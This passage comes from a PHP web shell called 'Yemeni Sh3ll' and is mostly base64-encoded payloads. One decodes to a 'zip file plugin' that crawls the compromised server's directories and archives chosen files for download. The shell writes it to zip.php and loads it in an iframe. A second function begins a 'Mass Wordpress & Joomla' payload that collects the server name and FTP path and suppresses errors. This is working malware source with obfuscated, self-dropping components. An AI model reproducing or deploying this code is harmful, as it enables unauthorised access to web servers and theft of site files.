X2RpcikpIC4gIC8vIHRvdGFsICMgb2YgZW50cmllcyAib24gdGhpcyBkaXNrIg0KICAgICAg
ICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIC8vIHRvdGFs
ICMgb2YgZW50cmllcyBvdmVyYWxsDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRj
dHJsZGlyKSkgLiAgICAgICAgICAgLy8gc2l6ZSBvZiBjZW50cmFsIGRpcg0KICAgICAgICAg
ICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gICAgICAgICAgICAgIC8vIG9mZnNldCB0
byBzdGFydCBvZiBjZW50cmFsIGRpcg0KICAgICAgICAgICAgIlx4MDBceDAwIjsgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8vIC56aXAgZmlsZSBjb21tZW50IGxlbmd0aA0KICAg
IH0gLy8gZW5kIG9mIHRoZSAnZmlsZSgpJyBtZXRob2QNCiAgICANCiAgICBmdW5jdGlvbiBh
ZGRGaWxlcygkZmlsZXMgLypPbmx5IFBhc3MgQXJyYXkqLykNCiAgICB7DQogICAgICAgIGZv
cmVhY2goJGZpbGVzIGFzICRmaWxlKSB7DQoJCQlpZiAoaXNfZmlsZSgkZmlsZSkpIC8vZGly
ZWN0b3J5IGNoZWNrDQoJCQl7DQoJCQkJJGRhdGEgPSBpbXBsb2RlKCIiLGZpbGUoJGZpbGUp
KTsNCgkgICAgICAgICAgICAkdGhpcy0+YWRkRmlsZSgkZGF0YSwkZmlsZSk7DQogICAgICAg
ICAgICB9IGVsc2Ugew0KLy8JCQkJJGRhdGEgPSBpbXBsb2RlKCIiLGZpbGUoIm5ka3ppcGVy
LnR4dCIpKTsNCi8vCSAgICAgICAgICAgICR0aGlzLT5hZGRGaWxlKCRkYXRhLCRmaWxlLiIv
bmRremlwZXIudHh0Iik7DQoJCQl9CQ0KCQl9DQogICAgfQ0KICAgIA0KICAgIGZ1bmN0aW9u
IG91dHB1dCgkZmlsZSkNCiAgICB7DQogICAgICAgICRmcD1mb3BlbigkZmlsZSwidyIpOw0K
ICAgICAgICBmd3JpdGUoJGZwLCR0aGlzLT5maWxlKCkpOw0KICAgICAgICBmY2xvc2UoJGZw
KTsNCiAgICB9DQoNCn0gLy8gZW5kIGNsYXNzDQovLz09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09DQpmdW5jdGlvbiBnZXRkaXIoJHBhdGg9Ii4iKSB7DQpnbG9iYWwgJGRp
cmFycmF5LCRjb25mLCRkaXJzaXplOwkNCmlmICgkZGlyID0gb3BlbmRpcigkcGF0aCkpIHsN
CiAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gQHJlYWRkaXIoJGRpcikpKSB7DQoJIGlm
ICgoJGVudHJ5IT0iLiIpJiYoJGVudHJ5IT0iLi4iKSkgew0KCSAgCSRsYXN0ZG90ID0gc3Ry
cnBvcygkZW50cnksIi4iKTsNCgkJJGV4dCA9IGNob3Aoc3RydG9sb3dlcihzdWJzdHIoJGVu
dHJ5LCRsYXN0ZG90KzEpKSk7DQoJCSRmbmFtZSA9IHN1YnN0cigkZW50cnksMCwkbGFzdGRv
dCk7DQoJCWlmICgkcGF0aCE9Ii4iKSAkbmV3cGF0aCA9ICRwYXRoLiIvIi4kZW50cnk7DQoJ
CWVsc2UgJG5ld3BhdGggPSAkZW50cnk7DQoJCSRuZXdwYXRoID0gc3RyX3JlcGxhY2UoIi8v
IiwiLyIsJG5ld3BhdGgpOw0KDQoJCWlmICgoJGVudHJ5IT0iTkRLemlwZXIucGhwIikmJigk
ZW50cnkhPSJuZGt6aXBlci50eHQiKSYmKCRlbnRyeSE9JGNvbmZbJ2RpciddKSkgew0KCQkJ
JGRpcmFycmF5W10gPSAkbmV3cGF0aDsNCgkJCWlmICgkZnNpemU9QGZpbGVzaXplKCRuZXdw
YXRoKSkgJGRpcnNpemUrPSRmc2l6ZTsNCgkJCWlmIChpc19kaXIoJG5ld3BhdGgpKSBnZXRk
aXIoJG5ld3BhdGgpOw0KCQl9IA0KICAJIH0NCiAgfQ0KfQ0KfS8vIGVuZCBmdW5jDQovLz09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpmdW5jdGlvbiBnZXRjdXJyZW50
ZGlyKCRwYXRoPSIuIikgew0KZ2xvYmFsICRjb25mOwkNCiRkaXJhcnIgPSBhcnJheSgpOw0K
aWYgKCRkaXIgPSBvcGVuZGlyKCRwYXRoKSkgew0KICB3aGlsZSAoZmFsc2UgIT09ICgkZW50
cnkgPSBAcmVhZGRpcigkZGlyKSkpIHsNCgkgaWYgKCgkZW50cnkhPSIuIikmJigkZW50cnkh
PSIuLiIpKSB7DQoJICAJJGxhc3Rkb3QgPSBzdHJycG9zKCRlbnRyeSwiLiIpOw0KCQkkZXh0
ID0gY2hvcChzdHJ0b2xvd2VyKHN1YnN0cigkZW50cnksJGxhc3Rkb3QrMSkpKTsNCgkJJGZu
YW1lID0gc3Vic3RyKCRlbnRyeSwwLCRsYXN0ZG90KTsNCgkJaWYgKCRwYXRoIT0iLiIpICRu
ZXdwYXRoID0gJHBhdGguIi8iLiRlbnRyeTsNCgkJZWxzZSAkbmV3cGF0aCA9ICRlbnRyeTsN
CgkJJG5ld3BhdGggPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkbmV3cGF0aCk7DQoNCgkJaWYg
KCgkZW50cnkhPSJOREt6aXBlci5waHAiKSYmKCRlbnRyeSE9Im5ka3ppcGVyLnR4dCIpJiYo
JGVudHJ5IT0kY29uZlsnZGlyJ10pKSB7DQoJCQkkZGlyYXJyW10gPSAkbmV3cGF0aDsNCgkJ
fSANCiAgCSB9DQogIH0NCn0NCnJldHVybiAkZGlyYXJyOw0KfS8vIGVuZCBmdW5jDQovLz09
PT09PT09PT09PT09PT09PT09PT09PT0NCmZ1bmN0aW9uIHNpemVfZm9ybWF0KCRieXRlcz0i
Iikgew0KICAkcmV0dmFsID0gIiI7DQogIGlmICgkYnl0ZXMgPj0gMTA0ODU3Nikgew0KCSRy
ZXR2YWwgPSByb3VuZCgkYnl0ZXMgLyAxMDQ4NTc2ICogMTAwICkgLyAxMDAgLiAiIE1CIjsN
CiAgfSBlbHNlIGlmICgkYnl0ZXMgID49IDEwMjQpIHsNCgkgICAgJHJldHZhbCA9IHJvdW5k
KCRieXRlcyAvIDEwMjQgKiAxMDAgKSAvIDEwMCAuICIgS0IiOw0KICAgIH0gZWxzZSB7DQog
ICAgICAgICRyZXR2YWwgPSAkYnl0ZXMgLiAiIGJ5dGVzIjsNCiAgICAgIH0NCiAgcmV0dXJu
ICRyZXR2YWw7DQp9DQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQokY3VycmVu
dGRpciA9IGdldGN1cnJlbnRkaXIoJGRpcm5hbWUpOw0Kc29ydCgkY3VycmVudGRpcik7DQo/
Pg0KPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNp
dGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCI+DQo8
aHRtbD4NCjxoZWFkPg0KPHRpdGxlPi06WyB6aXAgZmlsZSBwbHVnaW4gLVllbWVuIFNoZWxs
IHYxLjAgXTotPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29u
dGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxNRVRBIEhUVFAtRVFVSVY9IkNB
Q0hFLUNPTlRST0wiIENPTlRFTlQ9Ik5PLUNBQ0hFIj4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2Nz
cyI+DQo8IS0tDQpodG1sIHsNCglvdmVyZmxvdy14OiBhdXRvOw0KCXNjcm9sbGJhci1mYWNl
LWNvbG9yOiAjQ0VDRUNFOw0KCXNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICM2QjZCNkI7DQoJ
c2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogI0Y4RjhGODsNCglzY3JvbGxiYXItM2RsaWdo
dC1jb2xvcjogIzhBOEE4QTsNCglzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzhBOEE4
QTsNCglzY3JvbGxiYXItdHJhY2stY29sb3I6ICM4QThBOEE7DQoJc2Nyb2xsYmFyLWFycm93
LWNvbG9yOiAjMjE1QThDOw0KfQ0KYm9keSx0ZCx0aCB7DQoJZm9udC1mYW1pbHk6IFZlcmRh
bmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJZm9udC1zaXplOiAxMnB4Ow0K
CWNvbG9yOiAjMDYxRDM2Ow0KfQ0KYm9keSB7DQoJbWFyZ2luLWxlZnQ6IDBweDsNCgltYXJn
aW4tdG9wOiAwcHg7DQoJbWFyZ2luLXJpZ2h0OiAwcHg7DQoJbWFyZ2luLWJvdHRvbTogMHB4
Ow0KCQ0KfQ0KYTpsaW5rIHsNCgljb2xvcjogI0ZGODQwMDsNCgl0ZXh0LWRlY29yYXRpb246
IG5vbmU7DQp9DQphOnZpc2l0ZWQgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgljb2xv
cjogI0ZGODQwMDsNCn0NCmE6aG92ZXIgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCglj
b2xvcjogI0ZGNjYwMDsNCn0NCmE6YWN0aXZlIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7
DQoJY29sb3I6ICNGRjg0MDA7DQp9DQppbWcgeyBib3JkZXIgOiAwcHg7IH0NCi5iZHIgew0K
CWJvcmRlcjogMXB4IHNvbGlkICMzNDQ1NTk7DQp9DQouY3RpdHRsZSB7DQoJZm9udC1zaXpl
OiAxNHB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQt
ZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMwMDYzQjA7DQp9DQoubXRp
dHRsZSB7DQoJZm9udC1zaXplOiAxNnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9y
OiAjRkZGRkZGOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9y
OiMyQjYwODI7DQoJaGVpZ2h0OjQwcHg7DQp9DQouZnRpdHRsZSB7DQoJZm9udC1zaXplOiAx
MnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQtZGVj
b3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMzQTc0QUI7DQoJaGVpZ2h0OjI1
cHg7DQp9DQoudGl0dGxlIHsNCglmb250LXNpemU6IDEycHg7DQoJY29sb3I6ICNGRkZGRkY7
DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWJhY2tncm91bmQtY29sb3I6IzNGNjY4QTsN
Cn0NCi5icl9zcCB7DQoJYm9yZGVyLXRvcC13aWR0aDogMXB4Ow0KCWJvcmRlci10b3Atc3R5
bGU6IGRvdHRlZDsNCglib3JkZXItdG9wLWNvbG9yOiAjMDAzMzY2Ow0KCWNvbG9yOiAjMDAz
MzMzOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCglmb250LXNpemU6IDExcHg7DQp9DQou
YnRpdGxlIHsNCgljb2xvcjogI0ZGRkZGRjsNCglmb250LXdlaWdodDogYm9sZDsNCglwYWRk
aW5nOjVweDsNCn0NCi5yb3dkaXIgew0KCWJhY2tncm91bmQtY29sb3I6I0VFRUVFRTsNCglj
b2xvcjojMDAzMzMzOw0KCWZvbnQtd2VpZ2h0OmJvbGQ7DQp9DQoucm93ZmlsZSB7DQoJYmFj
a2dyb3VuZC1jb2xvcjojRkZGRkZGOw0KfQ0KLnJvd2J1dCB7DQoJYmFja2dyb3VuZC1jb2xv
cjojRkZGRkNDOw0KfQ0KLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8c2NyaXB0
IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCg0KdmFyIGllNDUsbnM2LG5zNCxkb207DQppZiAo
bmF2aWdhdG9yLmFwcE5hbWU9PSJNaWNyb3NvZnQgSW50ZXJuZXQgRXhwbG9yZXIiKSBpZTQ1
PXBhcnNlSW50KG5hdmlnYXRvci5hcHBWZXJzaW9uKT49NDsNCmVsc2UgaWYgKG5hdmlnYXRv
ci5hcHBOYW1lPT0iTmV0c2NhcGUiKXsgIG5zNj1wYXJzZUludChuYXZpZ2F0b3IuYXBwVmVy
c2lvbik+PTU7ICBuczQ9cGFyc2VJbnQobmF2aWdhdG9yLmFwcFZlcnNpb24pPDU7fQ0KZG9t
PWllNDUgfHwgbnM2Ow0KDQpmdW5jdGlvbiBnZXRvYmooaWQpIHsNCmVsID0gZG9jdW1lbnQu
YWxsID8gZG9jdW1lbnQuYWxsW2lkXSA6ICAgZG9tID8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
SWQoaWQpIDogICBkb2N1bWVudC5sYXllcnNbaWRdOw0KcmV0dXJuIGVsOw0KfQ0KDQpmdW5j
dGlvbiBjaGVja2FsbCgpDQoJew0KCQlmb3IgKCBpPTA7aSA8IGRvY3VtZW50LmZpbmZvLmVs
ZW1lbnRzLmxlbmd0aCA7IGkrKyApew0KCQkJaWYgKCBkb2N1bWVudC5maW5mby5hbGwuY2hl
Y2tlZD09dHJ1ZSApew0KCQkJCWRvY3VtZW50LmZpbmZvLmVsZW1lbnRzW2ldLmNoZWNrZWQg
PSB0cnVlOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCWRvY3VtZW50LmZpbmZvLmVsZW1l
bnRzW2ldLmNoZWNrZWQgID0gZmFsc2U7DQoJCQl9DQoJCX0NCgl9DQo8L3NjcmlwdD4NCjx0
YWJsZSB3aWR0aD0iMTAwJSIgYmdjb2xvcj0iIzFFNDc2QSIgYWxpZ249Y2VudGVyIGJvcmRl
cj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MT4NCgk8dHI+PHRkIGFsaWduPWNlbnRl
ciBjbGFzcz0ibXRpdHRsZSIgdmFsaWduPSJtaWRkbGUiPjxiPlppcCBjb2RlIHBsdWdpbiAt
IHZlciAxLjA8L2I+PC90ZD4NCgk8dGQgYWxpZ249Y2VudGVyIGNsYXNzPSJmdGl0dGxlIj5Q
bHVnIGluICBZZW1lbmkgU2gzbGw8L2E+ICZjb3B5IDIwMTIgPC90ZD48L3RyPg0KPC90YWJs
ZT4NCjxicj4NCjw/IGlmICgkc3RlcCE9MCkgeyA/Pg0KPGJyIC8+DQo8dGFibGUgd2lkdGg9
IjcwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjMiIGFsaWdu
PSJjZW50ZXIiIHN0eWxlPSJib3JkZXI6MXB4ICM2NjY2NjYgc29saWQiPg0KICA8dHI+DQog
ICAgPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNGRkZGRkYiIGhlaWdodD0iMTAwIj48
c3BhbiBpZD0ic3RhdHVzIj4NCgk8cD48aW1nIHNyYz0iaHR0cDovL25ka3Bob3RvLmNvbS9p
bWFnZXMvd2FpdC5naWYiIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgLz4gPGltZyBzcmM9Imh0
dHA6Ly9uZGtwaG90by5jb20vaW1hZ2VzL3dhaXQuZ2lmIiB3aWR0aD0iMzIiIGhlaWdodD0i
MzIiIC8+IDxpbWcgc3JjPSJodHRwOi8vbmRrcGhvdG8uY29tL2ltYWdlcy93YWl0LmdpZiIg
d2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiAvPiA8aW1nIHNyYz0iaHR0cDovL25ka3Bob3RvLmNv
bS9pbWFnZXMvd2FpdC5naWYiIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgLz4gPGltZyBzcmM9
Imh0dHA6Ly9uZGtwaG90by5jb20vaW1hZ2VzL3dhaXQuZ2lmIiB3aWR0aD0iMzIiIGhlaWdo
dD0iMzIiIC8+PC9wPg0KDQogICAgICAgICAgPHA+UHJvY2Vzc2luZyBaaXAgRm9sZGVycyAm
IEZpbGVzIHNlbGVjdGVkIC48L3A+PC9zcGFuPg0KCTwvdGQ+DQogIDwvdHI+DQo8L3RhYmxl
Pg0KPGJyPg0KPD8gfSBlbHNlIHsgPz4NCjxmb3JtIGFjdGlvbj0iP3N0ZXA9MSIgaWQ9ImZp
bmZvIiBuYW1lPSJmaW5mbyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSB3aWR0aD0iNjAlIiBi
b3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMyIgYWxpZ249ImNlbnRl
ciIgc3R5bGU9ImJvcmRlcjoxcHggIzk5OTk5OSBzb2xpZCI+DQo8dHI+DQogICAgPHRkIHN0
eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyQjYwODI7IGNvbG9yOiNGRkZGRkY7IHBhZGRpbmc6
NXB4OyIgYWxpZ249ImxlZnQiPjxiPkN1cnJlbnQgZGlyZWN0b3J5IDogPGEgaHJlZj0iP2Rp
cm5hbWU9LiI+WmlwZXI8L2E+IDw/DQoJaWYgKCghZW1wdHkoJGRpcm5hbWUpKSYmKCRkaXJu
YW1lIT0iLiIpKSB7DQoJCSRscGF0aCA9IGV4cGxvZGUoIi8iLCRkaXJuYW1lKTsNCgkJaWYg
KGNvdW50KCRscGF0aCk+MSkgZWNobyAiLSA8YSBocmVmPSc/ZGlybmFtZT17JGxwYXRoWzBd
fSc+eyRscGF0aFswXX08L2E+IjsNCgl9DQoJPz48L2I+PC90ZD4NCiAgPC90cj4NCjw/DQpm
b3IgKCRpPTA7JGk8Y291bnQoJGN1cnJlbnRkaXIpOyRpKyspIHsNCgkkZW50cnkgPSAkY3Vy
cmVudGRpclskaV07DQoJaWYgKCFpc19kaXIoJGVudHJ5KSkgew0KCQkkY2xhc3M9InJvd2Zp
bGUiOw0KCQkkbmFtZSA9ICRlbnRyeTsJDQoJfSBlbHNlIHsNCgkJJGNsYXNzPSJyb3dkaXIi
Ow0KCQkkbmFtZSA9ICI8YSBocmVmPSc/ZGlybmFtZT17JGVudHJ5fSc+eyRlbnRyeX08L2E+
IjsNCi8vCQkkbmFtZSA9ICRlbnRyeTsJDQoJCX0NCj8+DQogIDx0cj4NCiAgICA8dGQgYWxp
Z249ImxlZnQiIGNsYXNzPSI8Pz0kY2xhc3M/PiI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBu
YW1lPSJ6ZGlyW10iIHZhbHVlPSI8Pz0kZW50cnk/PiIgLz4mbmJzcDs8Pz0kbmFtZT8+PC90
ZD4NCiAgPC90cj4NCjw/IH0gPz4NCjx0cj4NCiAgICA8dGQgYWxpZ249ImxlZnQiIHN0eWxl
PSJiYWNrZ3JvdW5kLWNvbG9yOiMyQjYwODI7IGNvbG9yOiNGRkZGRkYiPjxpbnB1dCB0eXBl
PSJjaGVja2JveCIgbmFtZT0iYWxsIm9uY2xpY2s9ImphdmFzY3JpcHQ6Y2hlY2thbGwoKTsi
IC8+Jm5ic3A7U2VsZWN0IGFsbDwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPGJyIC8+DQo8
dGFibGUgd2lkdGg9IjYwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRp
bmc9IjMiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNGRkZGRkYiIHN0eWxlPSJib3JkZXI6
MXB4ICM5OTk5OTkgc29saWQiPg0KPHRyPg0KICAgIDx0ZD5GaWxlIG5hbWUgOiA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiIHZhbHVlPSJ6aXBlciIgc2l6ZT0iNDAiIC8+
LnppcDwvdGQ+DQoJPHRkIGFsaWduPSJyaWdodCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFt
ZT0ic3VibWl0IiB2YWx1ZT0iJm5ic3A7Jm5ic3A7Jm5ic3A7U3RhcnQmbmJzcDsmbmJzcDsm
bmJzcDsiIC8+PC90ZD4NCiAgPC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8PyB9ID8+DQo8
YnI+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNl
bGxwYWRkaW5nPSIwIj4NCiAgPHRyPg0KICAgIDx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0iY2Vu
dGVyIiBiZ2NvbG9yPSIjM0E3NEFCIj48YSBocmVmPSJTT0RtdC5waHAiIGNsYXNzPSJidGl0
bGUiPlllbWVuaSBTaDNsbDwvYT48L3RkPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBiZ2Nv
bG9yPSIjMkI2MDgyIiBjbGFzcz0iYnRpdGxlIj4mY29weSAyMDExIFllbWVuaSBTSDNMTCA8
L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjxicj4NCjwvYm9keT4NCjwvaHRtbD4NCjw/DQpp
ZiAoJHN0ZXA9PTEpIHsNCgkkemRpciA9ICRfUE9TVFsnemRpciddOw0KCWlmIChjb3VudCgk
emRpcik+MCkgew0KCQkkZGlyYXJyYXk9YXJyYXkoKTsNCgkJJGRpcnNpemU9MDsNCgkJJHpk
aXJzaXplPTA7DQoJCWZvciAoJGk9MDskaTxjb3VudCgkemRpcik7JGkrKykgew0KCQkJJGZm
aWxlID0gJHpkaXJbJGldOw0KCQkJaWYgKGlzX2RpcigkZmZpbGUpKSB7DQoJCQkJZ2V0ZGly
KCRmZmlsZSk7DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgkZnNpemU9QGZpbGVzaXplKCRmZmls
ZSkpICR6ZGlyc2l6ZSs9JGZzaXplOw0KCQkJfQ0KCQl9DQoJCSR6ZGlyc2l6ZSs9JGRpcnNp
emU7DQoJCWZvciAoJGk9MDskaTxjb3VudCgkZGlyYXJyYXkpOyRpKyspIHsNCgkJCSR6ZGly
W10gPSAkZGlyYXJyYXlbJGldOw0KCQl9DQoJCWlmICghQGlzX2RpcigkY29uZlsnZGlyJ10p
KSB7DQoJCQkkcmVzID0gQG1rZGlyKCRjb25mWydkaXInXSwwNzc3KTsNCgkJCWlmICghJHJl
cykgJHR4dG91dCA9ICJDYW5ub3QgY3JlYXRlIGRpciAhPGJyPiI7DQoJCX0gZWxzZSBAY2ht
b2QoJGNvbmZbJ2RpciddLDA3NzcpOw0KCQ0KCQkkemlwbmFtZSA9ICRfUE9TVFsnZmlsZW5h
bWUnXTsNCgkJJHppcG5hbWU9c3RyX3JlcGxhY2UoIi8iLCIiLCR6aXBuYW1lKTsNCgkJaWYg
KGVtcHR5KCR6aXBuYW1lKSkgJHppcG5hbWU9Ik5ES3ppcCI7DQoJCSR6aXBuYW1lLj0iLnpp
cCI7DQoJCQ0KCQkkemlwZXIgPSBuZXcgemlwZmlsZSgpOw0KCQkkemlwZXItPmFkZEZpbGVz
KCR6ZGlyKTsNCgkJJHppcGVyLT5vdXRwdXQoInskY29uZlsnZGlyJ119L3skemlwbmFtZX0i
KTsNCgkJDQoJCWlmICgkZnNpemU9QGZpbGVzaXplKCJ7JGNvbmZbJ2RpciddfS97JHppcG5h
bWV9IikpICR6aXBzaXplPSRmc2l6ZTsNCgkJZWxzZSAkemlwc2l6ZT0wOw0KCQkNCgkJJHpk
aXJzaXplID0gc2l6ZV9mb3JtYXQoJHpkaXJzaXplKTsNCgkJJHppcHNpemUgPSBzaXplX2Zv
cm1hdCgkemlwc2l6ZSk7DQoJCT8+DQoJCTxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQi
PmdldG9iaignc3RhdHVzJykuaW5uZXJIVE1MPSI8cD48Yj5aaXAgc3VjY2Vzc2Z1bCAhPC9i
PjwvcD48cD5Eb3dubG9hZCA6IDxhIGhyZWY9Jzw/PSRjb25mWydkaXInXT8+Lzw/PSR6aXBu
YW1lPz4nPjw/PSR6aXBuYW1lPz48L2E+PC9wPjxwPk9yaWdpbmFsIHNpemUgOiA8Pz0kemRp
cnNpemU/PiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsgWmlwIHNpemUgOiA8Pz0kemlwc2l6ZT8+PC9wPiI7PC9zY3JpcHQ+DQoJCTw/
DQoJfSBlbHNlIHsNCgkJPz48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij5nZXRvYmoo
J3N0YXR1cycpLmlubmVySFRNTD0iTm8gZmlsZSBvciBmb2xkZXIgc2VsZWN0ZWQgISI7PC9z
Y3JpcHQ+PD8NCgl9DQp9DQo/Pg==
';

$file = fopen("zip.php" ,"w+");
$write = fwrite ($file ,base64_decode($zip1));
fclose($file);
echo '<iframe src="zip.php" style="height:500px; width:1500px; border:0px;" name="zip">';
yemenfooter();

}
function yemenwp()
{
   yemenhead();
$wp1 = 'PD9waHANCg0KDQoNCg0KDQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KDQokcGFnZVVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsNCiRwYWdlVVJMID1zdHJfcmVwbGFjZSgkdVtjb3VudCgkdSktMV0sIiIsJHBhZ2VVUkwgKTsNCg0KJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQokdSA9IGV4cGxvZGUoIi8iLCRwYWdlRlRQICk7DQokcGFnZUZUUCA9c3RyX3JlcGxhY2UoJHVbY291bnQoJHUpLTFdLCIiLCRwYWdlRlRQICk7DQoNCj8+DQogIDwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPHRpdGxlPk1hc3MgV29yZHByZXNzICYgSm9vbWxhPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICBodG1sLGJvZHkgew0KICAgICBtYXJnaW46IDA7DQogICAgIHBhZGRpbmc6IDA7DQogICAgIG91dGxpbmU6IDA7DQp9DQphew0KDQogZm9udC1zaXplOiAxM3B4Ow0KDQp9DQoNCg0KYm9keSB7DQogICAgZGlyZWN0aW9uOiBsdHI7DQogICAgYmFja2dyb3VuZC1jb2xvcjojRjRGNEY0Ow0KCWNvbG9yOiByZ2IoMTUzLCAxNTMsIDE1Myk7DQogICAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCg0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMDAwMDAwOw0KfQ0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3Q6aG92ZXJ7DQpib3gtc2hhZG93OiAwcHggMHB4IDRweCAjQUFBQUFBOw0KfQ0KDQoNCi5oZWRyIHsNCiAgZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiAgZm9udC1zaXplOiAyMnB4Ow0KDQoNCn0NCg0KLmNvbnQgYXsNCg0KIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiBjb2xvcjpyZ2IoMTUzLCAxNTMsIDE1Myk7DQogZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiBmb250LXNpemU6IDE2cHg7DQogdGV4dC1zaGFkb3c6IDBweCAwcHggM3B4IDsNCn0NCg0KLmNvbnQgYTpob3ZlcnsNCg0KDQogIGNvbG9yOiAjRUVFRUVFIDsNCiAgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggIzAwMDAwMCA7DQoNCg0KfQ0KDQoudG1wIHRyIHRkew0KDQpib3JkZXI6IHNvbGlkIDFweCAjQkJCQkJCOw0KDQpwYWRkaW5nOiAycHggOw0KICBmb250LXNpemU6IDEzcHg7DQp9DQoNCi50bXAgdHIgdGQgYSB7DQogIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCg0KDQoNCn0NCg0KLmZvdGVyew0KICBmb250LXNpemU6IDlwdDsNCiAgY29sb3I6ICNBQUFBQUEgOw0KICB0ZXh0LWFsaWduOiBjZW50ZXINCn0NCg0KLnRtcCB0ciB0ZDpob3ZlcnsNCg0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzg4ODg4ODsNCg0KfQ0KLmZvdHsNCg0KZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCg0KICBmb250LXNpemU6IDExcHQ7DQp9DQouZm9yIGEgOiBob3ZlcnsNCg0KdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4ICMzMzY2RkY7DQoNCn0NCg